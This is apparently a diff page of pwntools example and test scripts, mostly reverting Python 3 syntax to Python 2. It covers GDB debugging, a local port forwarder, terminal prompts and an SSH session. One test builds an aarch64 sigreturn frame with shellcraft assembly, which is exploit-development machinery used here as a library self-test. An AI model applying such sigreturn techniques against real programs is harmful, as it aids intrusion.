|
||||
with gdb.debug('cat', gdbscript='''
|
||||
set logging on
|
||||
set pagination off
|
||||
''', api=True) as cat:
|
||||
|
||||
# the process is stopped
|
||||
# set the synchronous breakpoint on ``read``
|
||||
cat.gdb.Breakpoint('read', temporary=True)
|
||||
|
||||
# resume and wait until we hit it
|
||||
cat.gdb.continue_and_wait()
|
||||
|
||||
# demonstrate a more interesting synchronous breakpoint
|
||||
demo_sync_breakpoint(cat, cat.gdb, 'foo')
|
||||
|
||||
# terminate GDB
|
||||
cat.gdb.quit()
|
||||
|
||||
# now start ``cat`` normally
|
||||
with process('cat') as cat:
|
||||
# attach GDB
|
||||
_, cat_gdb = gdb.attach(cat, gdbscript='''
|
||||
set logging on
|
||||
set pagination off
|
||||
''', api=True)
|
||||
|
||||
# the process is stopped
|
||||
# demonstrate asynchronous breakpoint
|
||||
demo_async_breakpoint(cat, cat_gdb, 'bar')
|
||||
|
||||
# terminate GDB
|
||||
cat_gdb.quit()
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
@@ -24,7 +24,7 @@ def append_example(_arg, top, names):
|
||||
continue
|
||||
path = os.path.join(top, name)[2:] # strip './'
|
||||
log.info('-> %s' % path)
|
||||
data = read(path).strip().decode()
|
||||
data = read(path).strip()
|
||||
if data[0:3] not in ('"""', "'''"):
|
||||
log.warning(' Has no docstring!')
|
||||
continue
|
||||
@@ -37,7 +37,6 @@ def append_example(_arg, top, names):
|
||||
out += '* `%s`\n' % path
|
||||
out += '```%s```\n' % doc
|
||||
|
||||
for path, dirs, files in os.walk('.', onerror=None):
|
||||
append_example(dirs, path, sorted(files))
|
||||
os.path.walk('.', append_example, None)
|
||||
|
||||
write('README.md', out)
|
||||
+2
-2
@@ -4,5 +4,5 @@ Example showing `pwnlib.ui.options()`
|
||||
|
||||
from pwn import *
|
||||
|
||||
opts = [string.ascii_letters[x] for x in range(12)]
|
||||
print('You choose "%s"' % opts[options('Pick one:', opts)])
|
||||
opts = [string.letters[x] for x in range(10)]
|
||||
print 'You choose "%s"' % opts[options('Pick one:', opts)]
|
||||
@@ -1,10 +1,11 @@
|
||||
"""
|
||||
A very simple port forwarder using `pwnlib.tubes.tube.connect_both()`.
|
||||
A very simple port forwarder using `pwnlib.tubes.tube.connect_both()`. Notice
|
||||
that `<>` is just a shorthand.
|
||||
"""
|
||||
|
||||
from pwn import *
|
||||
|
||||
while True:
|
||||
listen(1337).wait_for_connection().connect_both(remote('google.com', 80))
|
||||
listen(1337).wait_for_connection() <> remote('google.com', 80)
|
||||
|
||||
# now point your browser (or curl(1)) to http://localhost:1337
|
||||
@@ -19,13 +19,13 @@ c1 = LongestPrefixCompleter([
|
||||
c2 = PathCompleter(mask = '*.py')
|
||||
|
||||
with c1:
|
||||
print('type "exit" to exit')
|
||||
print 'type "exit" to exit'
|
||||
while True:
|
||||
s = str_input(prompt = '> ').strip()
|
||||
s = term.readline.readline(prompt = '> ').strip()
|
||||
if s in ('exit', 'enough!'):
|
||||
break
|
||||
print('You wrote', s)
|
||||
print 'You wrote', s
|
||||
with c2:
|
||||
print('choose a file')
|
||||
s = str_input(prompt = text.bold_green('$ ')).strip()
|
||||
print('You picked', s)
|
||||
print 'choose a file'
|
||||
s = term.readline.readline(prompt = text.bold_green('$ ')).strip()
|
||||
print 'You picked', s
|
||||
+1
-1
@@ -6,6 +6,6 @@ from pwn import *
|
||||
|
||||
sock = remote('127.0.0.1', 9001)
|
||||
|
||||
print(sock.recvline())
|
||||
print sock.recvline()
|
||||
sock.send('foo')
|
||||
sock.interactive()
|
||||
@@ -8,10 +8,10 @@ import getpass
|
||||
from pwn import *
|
||||
|
||||
s = ssh(getpass.getuser(), '127.0.0.1', port = 22, keyfile = "~/.ssh/id_rsa")
|
||||
c = gdb.ssh_gdb(s, '/bin/sh', gdbscript = '''
|
||||
c = gdb.ssh_gdb(s, '/bin/sh', execute = '''
|
||||
p/x $pc
|
||||
c''')
|
||||
|
||||
c.sendline('ls -la')
|
||||
c.sendline('exit')
|
||||
print(c.recvall())
|
||||
print c.recvall()
|
||||
@@ -3,12 +3,11 @@ context.arch='aarch64'
|
||||
frame = SigreturnFrame()
|
||||
|
||||
registers = ['x%i' % i for i in range(0, 31)]
|
||||
registers += ['pc']
|
||||
registers += ['sp', 'pc']
|
||||
|
||||
|
||||
for index, register in enumerate(registers):
|
||||
setattr(frame, register, index)
|
||||
frame.sp = 64
|
||||
|
||||
assembly = '\n'.join([
|
||||
shellcraft.read(constants.STDIN_FILENO, 'sp', 1024),
|
||||
@@ -24,9 +23,8 @@ assert io.poll() == -11
|
||||
|
||||
corefile = io.corefile
|
||||
|
||||
for register in registers:
|
||||
for index, register in enumerate(registers):
|
||||
value = getattr(corefile, register)
|
||||
index = getattr(frame, register)
|
||||
if index != value:
|
||||
log.error("%s != %i (%i)" % (register, index, value))
|
||||
else:
|
||||
|
||||
Loaded 100 of 1089 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user